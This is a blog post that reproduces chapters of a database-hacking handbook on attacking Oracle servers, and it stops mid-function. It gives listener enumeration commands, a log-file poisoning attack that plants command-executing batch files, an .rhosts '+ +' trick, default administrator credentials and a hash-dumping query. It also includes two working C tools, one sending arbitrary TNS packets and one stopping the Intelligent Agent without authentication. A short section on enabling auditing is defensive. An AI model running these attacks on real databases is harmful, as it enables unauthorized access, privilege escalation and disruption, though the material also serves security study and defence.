Senin, 19 Juli 2010

Attacking Oracle

chapter 3

Scanning for Oracle Servers

Finding an Oracle database server on the network is best achieved by doing a TCP port scan, unless of course you already know where it is. Oracle and its peripheral processes listen on so many different ports, chances are that one of them will be on the default port even if most of them aren't. The following list details some common Oracle processes and what ports they can be found listening on.

Common Ports

The common ports are

199 agntsvc

1520-1530 tnslsnr

1748 dbsnmp

1754 dbsnmp

1809 dbsnmp

1808 dbsnmp

1810 java—oracle enterprise manager web service

1830 emagent

1831 emagent

1850 java ORMI

2030 omtsreco

2100 tnslsnr

2481 tnslsnr

2482 tnslsnr

3025 ocssd

3026 ocssd

4696 ocssd

6003 opmn

6004 opmn

6200 opmn

6201 opmn

7777 Apache - OAS

8080 tnslsnr

9090 tnslsnr

The TNS Listener

Once the Oracle database server has been discovered the first port of call is the TNS Listener. You need to get some information before continuing, such as the version, the OS, and database services. The Listener control utility can be used to get this information. Run the utility from a command line and as the first command set the Listener you want to connect to:

LSNRCTL> set current_listener 10.1.1.1

This will direct all commands to the TNS Listener at IP address 10.1.1.1. Once set, run the version command:

LSNRCTL> version
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production
TNS for 32-bit Windows: Version 9.2.0.1.0 - Production
Oracle Bequeath NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 - Production
Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 - Production
Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 - Production,,
The command completed successfully
LSNRCTL>

Here you can see that the server is running on a Windows-based system and its version is 9.2.0.1.0. Knowing the version number lets you know what bugs the server is going to be vulnerable to—to a certain degree. Some Oracle patches don't update the version number whereas others do. The version number certainly puts you in the right ball park. The next bit of information you need is the names of any database services running. You get this with the services command.

LSNRCTL> services
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC0)))
Services Summary...
Service "ORAXP" has 1 instance(s).
Instance "ORAXP", status UNKNOWN, has 1 handler(s) for this service...
Handler(s):
"DEDICATED" established:0 refused:0
LOCAL SERVER
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Handler(s):
"DEDICATED" established:0 refused:0
LOCAL SERVER
Service "oraxp.ngssoftware.com" has 1 instance(s).
Instance "oraxp", status READY, has 1 handler(s) for this service...
Handler(s):
"DEDICATED" established:0 refused:0 state:ready
LOCAL SERVER
Service "oraxpXDB.ngssoftware.com" has 1 instance(s).
Instance "oraxp", status READY, has 1 handler(s) for this service...
Handler(s):
"D000" established:0 refused:0 current:0 max:1002 state:ready
DISPATCHER
(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=3249))
The command completed successfully
LSNRCTL>

Here you can see that there's a database service with a SID of ORAXP. Note that if a TNS Listener password has been set, you'll get an error similar to

Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
TNS-01169: The listener has not recognized the password
LSNRCTL>

No problem. Issue the status command instead:

LSNRCTL> status
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias LISTENER
Version TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production
Start Date 11-OCT-2004 00:47:20
Uptime 0 days 0 hr. 22 min. 31 sec
Trace Level off
Security ON
SNMP OFF
Listener Parameter File C:\oracle\ora92\network\admin\listener.ora
Listener Log File C:\oracle\ora92\network\log\listener.log
Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC0ipc)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=1521)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=8080))
(Presentation=HTTP)(Session=RAW))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=2100))
(Presentation=FTP)(Session=RAW))
Services Summary...
Service "ORAXP" has 1 instance(s).
Instance "ORAXP", status UNKNOWN, has 1 handler(s) for this service...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "oraxp.ngssoftware.com" has 1 instance(s).
Instance "oraxp", status READY, has 1 handler(s) for this service...
Service "oraxpXDB.ngssoftware.com" has 1 instance(s).
Instance "oraxp", status READY, has 1 handler(s) for this service...
The command completed successfully
LSNRCTL>

From the status command you can see a number of things:

  1. The version.

  2. The operating system.

  3. Tracing is off.

  4. Security is on, that is, a Listener password has been set.

  5. The path to log files.

  6. Listening end points.

  7. Database SIDs, in this case ORAXP.

It's important to know the database SID because you need this to actually connect to and use the database services. We'll come back to this later on, however. Before this we'll examine a couple of ways the server can be compromised through the TNS Listener.

First, the TNS Listener, depending upon the version, may be vulnerable to a number of buffer overflow vulnerabilities that can be exploited without a user ID and password. For example, Oracle 9i is vulnerable to an overflow whereby the client requests a service_name that is overly long. When the Listener builds an error message to log, the service_name value is copied to a stack-based buffer that overflows—overwriting the saved return address on the stack. This allows the attacker to gain control. In fact, the TNS Listener has suffered multiple overflows and format strings in the past. A search on securityfocus.com will give you all the details.

Another interesting attack relates to log file poisoning. This works only if no Listener password has been set. Assuming one hasn't been set, here's how the attack would go. Using the following code, fire off

(CONNECT_DATA=(CMD=log_directory)(ARGUMENTS=4)(VALUE=c:\\))

This sets the log directory to C:\.

Then fire off

(CONNECT_DATA=(CMD=log_file)(ARGUMENTS=4)(VALUE=foo.bat))

This sets the log file to foo.bat.

Then fire off

|| dir > foo.txt

This creates a batch file off the root of the C: drive with these contents:

11-OCT-2004 02:27:27 * log_file * 0
11-OCT-2004 02:28:00 * 1153
TNS-01153: Failed to process string: || dir > foo.txt
NL-00303: syntax error in NV string

Notice the third line: TNS-01153: Failed to process string: || dir > foo.txt.

When this batch file runs each line is treated as a command, but of course they aren't and they don't execute. However, because of the double pipe (||)—which tells the Windows Command Interpreter (cmd.exe) to run the second command if the first is unsuccessful—in the third line the dir > foo.txt does execute.

By choosing a different file, such as one that will be executed automatically when the system boots or when someone logs on, the command will execute and the system can be compromised.

Note that more recent versions of Oracle append .log to the end of the filename in an attempt to protect against this. Better protection is to set a Listener password and also enable ADMIN_RESTRICTIONS, but more on this later. Oracle running on UNIX-based systems can also be compromised in this fashion. One way of doing this would be to echo "+ +" to the .rhosts file of the Oracle user and then use r*services if they're running.

This code can be used to send arbitrary packets over TNS:

#include 
#include
#include
int SendTNSPacket(void);
int StartWinsock(void);
int packet_length(char *);
int PrintResp(unsigned char *p, int l);
struct sockaddr_in c_sa;
struct sockaddr_in s_sa;
struct hostent *he;
SOCKET sock;
unsigned int addr;
char data[32000]="";
int ListenerPort=1521;
char host[260]="";
int prt = 40025;
int PKT_LEN = 0x98;
int two_packets=0;
unsigned char TNSPacket[200]=
"\x00\x3A" // Packet length
"\x00\x00" // Checksum
"\x01" // Type - connect
"\x00" // Flags
"\x00\x00" // Header checksum
"\x01\x39" // Version
"\x01\x2C" // Compat version
"\x00\x00" // Global service options
"\x08\x00" // PDU
"\x7F\xFF" // TDU
"\x86\x0E" // Protocol Characteristics
"\x00\x00" //
"\x01\x00" // Byte order
"\x00\x85" // Datalength
"\x00\x3A" // Offset
"\x00\x00\x07\xF8" // Max recv
"\x0C\x0C" // ANO
"\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
"\x0A\x4C\x00\x00"
"\x00\x03\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00";
unsigned char TNSPacket2[200]=
"\x00\x00" // Packet Length
"\x00\x00" // Checksum
"\x06" // Type - data
"\x00" // Flags
"\x00\x00" // Header Checksum
"\x00\x00";

int main(int argc, char *argv[])
{
unsigned int ErrorLevel=0,len=0,c =0;
int count = 0;
if(argc < 3)
return printf("%s host string\n",argv[0]);
strncpy(host,argv[1],256);
strncpy(data,argv[2],31996);
if(argc == 4)
ListenerPort = atoi(argv[3]);

if(StartWinsock()==0)
{
printf("Error starting Winsock.\n");
return 0;
}

PKT_LEN = packet_length(data);
SendTNSPacket();
return 0;
}

int packet_length(char *datain)
{
int dl=0;
int hl=0x3A;
int tl=0;
int e = 0;
int f =0;
dl = strlen(datain);
printf("dl = %d and total = %d\n",dl,dl+hl);

if(dl == 255 || dl > 255)
{
e = dl % 256;
e = dl - e;
e = e / 256;
TNSPacket[24]=e;
f = dl % 256;
TNSPacket[25]=f;
dl = dl + 10;
e = dl % 256;
e = dl - e;
e = e / 256;
TNSPacket2[0]=e;
f = dl % 256;
TNSPacket2[1]=f;
two_packets = 1;
}
else
{
TNSPacket[25]=dl;
TNSPacket[1]=dl+0x3A;
}

return dl+hl;
}

int StartWinsock()
{
int err=0;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
return 0;

if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
{
WSACleanup( );
return 0;
}
if (isalpha(host[0]))
he = gethostbyname(host);
else
{
addr = inet_addr(host);
he = gethostbyaddr((char *)&addr,4,AF_INET);
}
if (he == NULL)
return 0;
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
return 1;
}

int SendTNSPacket(void)
{
SOCKET c_sock;
unsigned char resp[10000]="";
int snd=0,rcv=0,count=0, var=0;
unsigned int ttlbytes=0;
unsigned int to=2000;
struct sockaddr_in srv_addr,cli_addr;
LPSERVENT srv_info;
LPHOSTENT host_info;
SOCKET cli_sock;

cli_sock=socket(AF_INET,SOCK_STREAM,0);
if (cli_sock==INVALID_SOCKET)
return printf(" sock error");

cli_addr.sin_family=AF_INET;
cli_addr.sin_addr.s_addr=INADDR_ANY;
cli_addr.sin_port=htons((unsigned short)prt);
if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
{
closesocket(cli_sock);
return printf("bind error");
}
s_sa.sin_port=htons((unsigned short)ListenerPort);
if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
{
printf("Connect error %d",GetLastError());
return closesocket(cli_sock);
}
snd=send(cli_sock, TNSPacket , 0x3A , 0);
if(two_packets == 1)
snd=send(cli_sock, TNSPacket2 , 10 , 0);
snd=send(cli_sock, data , strlen(data) , 0);
rcv = recv(cli_sock,resp,9996,0);
if(rcv != SOCKET_ERROR)
PrintResp(resp,rcv);

closesocket(cli_sock);
return 0;
}
int PrintResp(unsigned char *p, int l)
{
int c = 0;
int d = 0;
while(c < l)
{
printf("%.2X ",p[c]);
c ++;
if(c % 16 == 0)
{
d = c - 16;
printf("\t");
while(d < c)
{
if(p[d] == 0x0A || p[d] == 0x0D)
printf(" ");
else
printf("%c",p[d]);
d++;
}
printf("\n");
d = 0;
}
}
d = c - 16;
printf("\t");
while(d < c)
{
if(p[d] == 0x0A || p[d] == 0x0D)
printf(" ");
else
printf("%c",p[d]);
d++;
}
printf("\n");
d = 0;

return 0;
}

Other methods for compromising the TNS Listener are discussed later but, for the moment, let's turn our attention to the RDBMS itself. One key bit of information we require is the name of a database service identifier—the SID—which we obtained from the TNS Listener earlier. Even if we want to exploit the overly long username buffer overflow in Oracle 9iR2 and earlier we will still need this database SID. The overflow I've just mentioned is one of several ways Oracle can be compromised without a user ID and password, discovered by Mark Litchfield. Assuming you're not going to be exploiting an overflow to get into the system, you're left with guessing a user ID and password. There are so many default accounts in various components of Oracle with default passwords that this is probably the most effective way of attacking an Oracle server. We include a full list of over 600 in Appendix C. The key ones to go for are as follows:

Username

Password

SYS

CHANGE_ON_INSTALL

SYSTEM

MANAGER

DBSNMP

DBSNMP

CTXSYS

CTXSYS

MDSYS

MDSYS

ORACLE

INTERNAL

To connect to the remote system using sqlplus you'll need to edit your tnsnames.ora file. You can find this in the ORACLE_HOME/network/admin directory. Assuming the database server has an IP address of 10.1.1.1, a database SID of ORAXP, and listening on TCP port 1521, you should add an entry as follows:

REMOTE =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL= TCP)(Host= 10.1.1.1)(Port= 1521))
)
(CONNECT_DATA =
(SID = ORAXP))
(SERVER = DEDICATED)
)
)

Once added you can then connect if you have a user ID and password:

C:\oracle\ora92\bin>sqlplus /nolog
SQL*Plus: Release 9.2.0.1.0 - Production on Mon Oct 11 03:09:59 2004
Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.
SQL> connect system/manager@remote
Connected.
SQL>

Once connected to the database server you'll probably want to elevate privileges if you have only an account like SCOTT. The best way to do this is through exploiting vulnerabilities in PL/SQL.


Database Authentication

When a client authenticates to the server, rather than sending a password across the wire in clear text like most other RDBMSes Oracle chooses to encrypt it. Here's how the authentication process works. First, the client connects to the TNS Listener and requests access to the RDBMS, specifying its SID. Provided the SID is valid the Listener responds with a TCP port and redirects the client to this port. On connecting to this port, to an Oracle shadow process, the client presents their username:

CLIENT to SERVER
00 c4 00 00 06 00 00 00 00 00 03 76 02 e0 91 d3 ( v )
00 06 00 00 00 01 00 00 00 cc a2 12 00 04 00 00 ( )
00 9c a0 12 00 8c a4 12 00 06 73 79 73 74 65 6d ( system)
0d 00 00 00 0d 41 55 54 48 5f 54 45 52 4d 49 4e ( AUTH_TERMIN)
41 4c 07 00 00 00 07 47 4c 41 44 49 55 53 00 00 (AL GLADIUS )
00 00 0f 00 00 00 0f 41 55 54 48 5f 50 52 4f 47 ( AUTH_PROG)
52 41 4d 5f 4e 4d 0b 00 00 00 0b 73 71 6c 70 6c (RAM_NM sqlpl)
75 73 2e 65 78 65 00 00 00 00 0c 00 00 00 0c 41 (us.exe A)
55 54 48 5f 4d 41 43 48 49 4e 45 12 00 00 00 12 (UTH_MACHINE )
57 4f 52 4b 47 52 4f 55 50 5c 47 4c 41 44 49 55 (WORKGROUP\GLADIU)
53 00 00 00 00 00 08 00 00 00 08 41 55 54 48 5f (S AUTH_)
50 49 44 08 00 00 00 08 38 37 32 3a 32 34 33 36 (PID 872:2436)
00 00 00 00 ( )

Here you can see the client is attempting to authenticate as the "SYSTEM" user. If the user exists on the remote system, the server responds with a ses-sion key:

SERVER TO CLIENT
00 87 00 00 06 00 00 00 00 00 08 01 00 0c 00 00 ( )
00 0c 41 55 54 48 5f 53 45 53 53 4b 45 59 20 00 ( AUTH_SESSKEY )
00 00 20 39 31 33 42 36 46 38 36 37 37 30 39 44 ( 913B6F867709D)
34 34 35 39 34 34 34 41 32 41 36 45 31 31 43 44 (4459444A2A6E11CD)
45 38 45 00 00 00 00 04 01 00 00 00 00 00 00 00 (E8E )
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( )
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( )
00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 ( )
00 00 00 00 00 00 00 ( )

Note that if the user does not exist on the remote server, no session key is issued. This is useful for an attacker. He or she can work out whether or not a given account exists on the server. (See the "Oracle Auditing" section at the end of this chapter to catch attacks like this.) Anyway, assuming the user does exist, the session key is sent back to the client. The client uses this session key to encrypt its password and send it back to the server for validation.

03 26 00 00 06 00 00 00 00 00 03 73 03 e0 91 d3  ( &         s    )
00 06 00 00 00 01 01 00 00 e8 b1 12 00 07 00 00 ( )
00 a0 ae 12 00 2c b4 12 00 06 73 79 73 74 65 6d ( , system)
0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f ( AUTH_PASSWO)
52 44 20 00 00 00 20 36 37 41 41 42 30 37 46 38 (RD 67AAB07F8)
45 32 41 32 46 33 42 45 44 41 45 43 32 33 31 42 (E2A2F3BEDAEC231B)
36 42 32 41 30 35 30 00 00 00 00 0d 00 00 00 0d (6B2A050 )

Once authenticated to the database server, a user's actions are controlled using authorization. In Oracle, authorization is dictated by system and object privileges.

Authorization

System privileges define what a user can do to the database, whereas object privileges define what a user can do to database objects such as tables and procedures. For example, there's a system privilege that, if granted, allows a user to create procedures and once created, object privileges can be granted that allow another user to execute it. There are 173 system privileges in Oracle 10g—these can be listed with the following query:

SQL> select distinct name from sys.system_privilege_map;

As far as object privileges go there are far fewer defined—23:

SQL> select distinct name from sys.table_privilege_map;

Key System Privileges

There are a few system privileges, which if granted, can be abused to gain complete control of the database server. Let's look at a few.

EXECUTE ANY PROCEDURE

This gives the grantee the ability to run any procedure on the server. We'll talk more about procedures later on but suffice to say this is one of the most powerful system privileges. If granted, the user can become a DBA in the blink of an eye.

SELECT ANY DICTIONARY

Any data in the database that is integral to the operation of the database are stored in a bunch of tables collectively known as the Oracle Data Dictionary. These tables are stored in the SYS schema. If users have the SELECT ANY DICTIONARY privilege it means that they can select from any of these tables. For example they could select password hashes from the SYS.USER$ table. The DBSNMP account is a good case study for this—it's not a DBA but it does have this system privilege. It's an easy task for DBSNMP to get DBA privileges due to this.

GRANT ANY PRIVILEGE / ROLE / OBJECT PRIVILEGE

Any of these, if granted, can allow a user to gain control of the system. They do as their names imply.

CREATE LIBRARY

If users have the CREATE LIBRARY, or any of the other library privileges, then they have the ability to run arbitrary code through external procedures.

Oracle Auditing

This section discusses Oracle auditing—auditing in the sense of tracking what users are doing and when. Unless you check whether auditing is on or not, you're never going to know whether "big brother" is watching—if you're attacking the system at least. If you're defending a system, then auditing should be on—but not necessarily for everything. For a busy database server if every action is audited, the audit trail can become massive. At a minimum, failed and successful log on attempts should be audited as well as access to the audit trail itself.

Oracle can either log to the file system or to a database table and this is controlled with an entry in the init.ora file. To log audit information to the database, add an entry like

audit_trail = db 

To log audit information to the file system, change the "db" to "os". If audit_trail is set to "none," then no auditing is performed. If logging occurs in the database, then events are written to the SYS.AUD$ table in the data dictionary. This table stands out from others in the dictionary because rows can be deleted from it. This has significance to the validity or accuracy of the log if access to the SYS.AUD$ is not restricted, and audited.

Once auditing is enabled you need to configure what actions, events, and so on should be audited. For a full list of what can be logged refer to the Oracle documentation, but here I'll show how to turn on auditing for failed and successful log in attempts and how to protect the AUD$ table itself.

Log on to the system with DBA privileges, or at least an account that has either the AUDIT ANY or AUDIT SYSTEM privilege and issue the following statement:

AUDIT INSERT, UPDATE, DELETE ON SYS.AUD$ BY ACCESS;

This protects access to the audit trail so if someone attempts to manipulate it, the access itself will be logged. Once done, then issue

    AUDIT CREATE SESSION;

This will turn on logging for log on attempts.

When attacking a system it is often useful to know what actions and so on are being audited because this will usually point you toward the "valuable" information. For example, all access to the HR.WAGES table might be audited. To see a list of what tables are audited, run the following query:

SELECT O.NAME FROM SYS.OBJ$ O, SYS.TAB$ T
WHERE T.AUDIT$ LIKE '%A%'
AND O.OBJ#=T.OBJ#

What's happening here? Well, the SYS.TAB$ table contains a column called AUDIT$. This column is a varchar(38) with each varchar being a dash or an A:

    ------AA----AA------AA----------

Depending upon where an A or a dash occurs defines what action is audited, whether it be a SELECT, UPDATE, INSERT, and so on.

If execute is audited for a procedure, this can be checked by running

SELECT O.NAME FROM SYS.OBJ$ O, SYS.PROCEDURE$ P
WHERE P.AUDIT$ LIKE '%S%'
AND O.OBJ# = P.OBJ#

chapter 2 (5)

The Database Hacker's Handbook: Defending Database Servers
by David Litchfield et al.
John Wiley & Sons © 2005

Oracle Authentication and Authorization

Oracle supports two kinds of accounts: database accounts and operating system accounts. Operating system accounts are authenticated externally by the operating system and are generally preceded with OP$, whereas database accounts are authenticated against the database server. A number of users are created by default when the database is installed; some of these are integral to the correct operation of the database whereas others are simply created because a package has been installed. The most important database login on an Oracle server is the SYS login. SYS is god as far as the database is concerned and can be likened to the root account on UNIX systems or Administrator on Windows. SYS is installed with a default password of CHANGE_ON_INSTALL, although, as of 10g, the user is prompted for a password to assign—which is good (various components that you install can define default usernames and passwords—Appendix C includes a list of more than 600 default account names and passwords). Another key account is SYSTEM. This is just as powerful as SYS and has a default password of MANAGER. Incidentally, passwords in Oracle are converted to uppercase making them easier to brute force if one can get a hold of the password hashes. Details such as usernames and passwords are stored in the SYS.USER$ table.

SQL> select name,password from sys.user$ where type#=1;
NAME PASSWORD
------------------------------ ------------------------------
SYS 2696A092833AFD9F
SYSTEM ED58B07310B19002
OUTLN 4A3BA55E08595C81
DIP CE4A36B8E06CA59C
DMSYS BFBA5A553FD9E28A
DBSNMP E066D214D5421CCC
WMSYS 7C9BA362F8314299
EXFSYS 66F4EF5650C20355
ORDSYS 7EFA02EC7EA6B86F
ORDPLUGINS 88A2B2C183431F00
SI_INFORMTN_SCHEMA 84B8CBCA4D477FA3
MDSYS 72979A94BAD2AF80
CTXSYS 71E687F036AD56E5
OLAPSYS 3FB8EF9DB538647C
WK_TEST 29802572EB547DBF
XDB 88D8364765FCE6AF
ANONYMOUS anonymous
SYSMAN 447B729161192C24
MDDATA DF02A496267DEE66
WKSYS 69ED49EE1851900D
WKPROXY B97545C4DD2ABE54
MGMT_VIEW B7A76767C5DB2BFD
SCOTT F894844C34402B67
23 rows selected.

Both SYS and SYSTEM are DBA privileged accounts but on a typical system you'll also find at least a few more DBAs—namely MDSYS, CTXSYS, WKSYS, and SYSMAN. You can list all DBAs with the following query:

SQL> select distinct a.name from sys.user$ a, sys.sysauth$ b where a.user#=b.grantee# and b.privilege#=4;
NAME
-----------------------------
CTXSYS
SYS
SYSMAN
SYSTEM
WKSYS

(If you know a bit about Oracle and are wondering why I'm not using the DBA_USERS and DBA_ROLE_PRIVS views, see the last chapter in the Oracle section—you can't trust views.)

This is enough on users and roles at the moment. Let's look at how database users are authenticated.

chapter 2 (4)

The Database Hacker's Handbook: Defending Database Servers
by David Litchfield et al.
John Wiley & Sons © 2005

The Oracle Intelligent Agent

This component is peripheral to the actual RDBMS but is integral to its management. The Intelligent Agent performs a number of roles, but probably its most significant function is to gather management and performance data, which can be queried through SNMP or Oracle's own proprietary protocols. The Agent listens on TCP port 1748, 1808, and 1809. As far as SNMP is concerned the port is configurable and may be the default of UDP 161 or often dbsnmp can be found listening for SNMP requests on 1161. In Oracle 10g dbsnmp has gone and in its place is the emagent.

Performance data can be queried remotely without having to present a username or password using the Oracle Enterprise Manager tool—specifically using the "Performance Manager" of the "Diagnostic Pack." This, needless to say, can provide attackers with a wealth of information about the remote system. For example, they could list all running processes, get memory usage, and so on.

Another of the tools provided by Oracle to manage the Intelligent Agent is the agentctl utility. Using this tool the Agent can be stopped, started, queried for its status, and blackouts started and stopped. A blackout essentially tells the Agent to stop gathering data or stop executing jobs. The agentctl utility is somewhat limited though; it can't really be used to query remote systems. However, it does use sockets on the local system to communicate with the Agent so a couple of strategic break points in a debugging session will reveal what traffic is actually being passed backward and forward. If you prefer to use port redirection tools for this kind of work this will do admirably, also. Whichever way you dump the packets you'll quickly notice that none of the communications are authenticated. This means, for example, an attacker could define blackouts or stop the Agent without having to present any username or password. The following code can be used to dump information from the Intelligent Agent:

#include
#include
#include
#define DBSNMPPORT 1748
int QueryDBSNMP(int in);
int StartWinsock(void);
struct sockaddr_in s_sa;
struct hostent *he;
unsigned int addr;
char host[260]="";

unsigned char Packet_1[]=
"\x00\x6A\x00\x00\x01\x00\x00\x00\x01\x38\x01\x2C\x00\x00\x08\x00"
"\x7F\xFF\x86\x0E\x00\x00\x01\x00\x00\x30\x00\x3A\x00\x00\x00\x64"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB4\x00\x00"
"\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x28\x4F\x45\x4D\x5F\x4F"
"\x4D\x53\x3D\x28\x56\x45\x52\x53\x49\x4F\x4E\x3D\x28\x52\x45\x4C"
"\x45\x41\x53\x45\x3D\x39\x2E\x32\x2E\x30\x2E\x31\x2E\x30\x29\x28"
"\x52\x50\x43\x3D\x32\x2E\x30\x29\x29\x29\x54\x76\x10";
unsigned char Packet_2[]=
"\x00\x42\x00\x00\x06\x00\x00\x00\x00\x00\x28\x41\x44\x44\x52\x45"
"\x53\x53\x3D\x28\x50\x52\x4F\x54\x4F\x43\x4F\x4C\x3D\x74\x63\x70"
"\x29\x28\x48\x4F\x53\x54\x3D\x31\x36\x39\x2E\x32\x35\x34\x2E\x33"
"\x32\x2E\x31\x33\x33\x29\x28\x50\x4F\x52\x54\x3D\x31\x37\x34\x38"
"\x29\x29\x00\x3E\x00\x00\x06\x00\x00\x00\x00\x00\x20\x08\xFF\x03"
"\x01\x00\x12\x34\x34\x34\x34\x34\x78\x10\x10\x32\x10\x32\x10\x32"
"\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76\x10\x00\x00\x80"
"\x01\x00\x00\x00\x00\x00\x84\x03\xBC\x02\x80\x02\x80\x02\x00\x00";
unsigned char Packet_3[]=
"\x00\x52\x00\x00\x06\x00\x00\x00\x00\x00\x44\x00\x00\x80\x02\x00"
"\x00\x00\x00\x04\x00\x00\xB0\x39\xD3\x00\x90\x00\x23\x00\x00\x00"
"\x44\x32\x44\x39\x46\x39\x35\x43\x38\x32\x42\x46\x2D\x30\x35\x45"
"\x44\x2D\x45\x30\x30\x30\x2D\x37\x32\x33\x30\x30\x38\x33\x31\x35"
"\x39\x42\x30\x02\x00\x30\x01\x01\x00\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x1E\x00\x00\x06\x00\x00\x00\x00\x00\x10\x00\x00\x80"
"\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
unsigned char Packet_4[]=
"\x00\x0A\x00\x00\x06\x00\x00\x00\x00\x40";
int main(int argc, char *argv[])
{
int count = 56;
if(argc != 3)
{
printf("\n\n\n\tOracle DBSNMP Tool\n\n\t");
printf("C:\\>%s host status|stop",argv[0]);
printf("\n\n\tDavid Litchfield\n\t");
printf("davidl@ngssoftware.com");
printf("\n\t4th June 2004\n\n\n\n");
return 0;
}
strncpy(host,argv[1],250);
if(!StartWinsock())
return printf("Error starting Winsock.\n");
if(stricmp(argv[2],"status")==0)
{
printf("\n\nStatus...\n\n");
Packet_3[69] = 0x38;
}
if(stricmp(argv[2],"stop")==0)
{
printf("\n\nStopping...\n\n");
Packet_3[69] = 0x37;
}
QueryDBSNMP(Packet_3[69]);
WSACleanup();
return 0;
}

int StartWinsock()
{
int err=0;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if (err != 0)
return 0;
if (LOBYTE(wsaData.wVersion) !=2 || HIBYTE(wsaData.wVersion) !=0)
{
WSACleanup();
return 0;
}
if (isalpha(host[0]))
{
he = gethostbyname(host);
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
}
else
{
addr = inet_addr(host);
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,&addr,4);
he = (struct hostent *)1;
}
if (he == NULL)
return 0;
return 1;
}

int QueryDBSNMP(int in)
{
unsigned char resp[1600]="";
int snd=0,rcv=0,count=0;
unsigned int ttlbytes=0;
unsigned int to=2000;
struct sockaddr_in cli_addr;
SOCKET cli_sock;
cli_sock=socket(AF_INET,SOCK_STREAM,0);
if (cli_sock==INVALID_SOCKET)
{
printf("socket error.\n");
return 0;
}
cli_addr.sin_family=AF_INET;
cli_addr.sin_addr.s_addr=INADDR_ANY;
cli_addr.sin_port=htons((unsigned short)0);
// setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int));
if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
{
closesocket(cli_sock);
printf("bind error");
return 0;
}
s_sa.sin_port=htons((unsigned short)DBSNMPPORT);
if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
{
closesocket(cli_sock);
printf("Connect error");
return 0;
}
snd=send(cli_sock, Packet_1 , 0x6A , 0);
rcv = recv(cli_sock,resp,1500,0);
if(rcv == SOCKET_ERROR)
{
closesocket(cli_sock);
printf("recv error.\n");
return 0;
}
PrintResponse(rcv,resp);
snd=send(cli_sock, Packet_2 , 0x80 , 0);
rcv = recv(cli_sock,resp,1500,0);
if(rcv == SOCKET_ERROR)
{
closesocket(cli_sock);
printf("recv error.\n");
return 0;
}
PrintResponse(rcv,resp);
snd=send(cli_sock, Packet_3 , 0x70 , 0);
rcv = recv(cli_sock,resp,1500,0);
if(rcv == SOCKET_ERROR)
{
closesocket(cli_sock);
printf("recv error.\n");
return 0;
}
PrintResponse(rcv,resp);
if(in == 0x37)
{
closesocket(cli_sock);
return printf("Oracle Intelligent Agent has stopped");
}
snd=send(cli_sock, Packet_4 , 0x0A , 0);
rcv = recv(cli_sock,resp,1500,0);
if(rcv == SOCKET_ERROR)
{
closesocket(cli_sock);
printf("recv error.\n");
return 0;
}
closesocket(cli_sock);
return 0;
}
int PrintResponse(int size, unsigned char *ptr)
{
int count = 0;
int chk = 0;
int sp = 0;
printf("%.4X ",count);
while(count < size)
{
if(count % 16 == 0 && count > 0)
{
printf(" ");
chk = count;
count = count - 16;
while(count < chk)
{
if(ptr[count]<0x20)
printf(".");
else
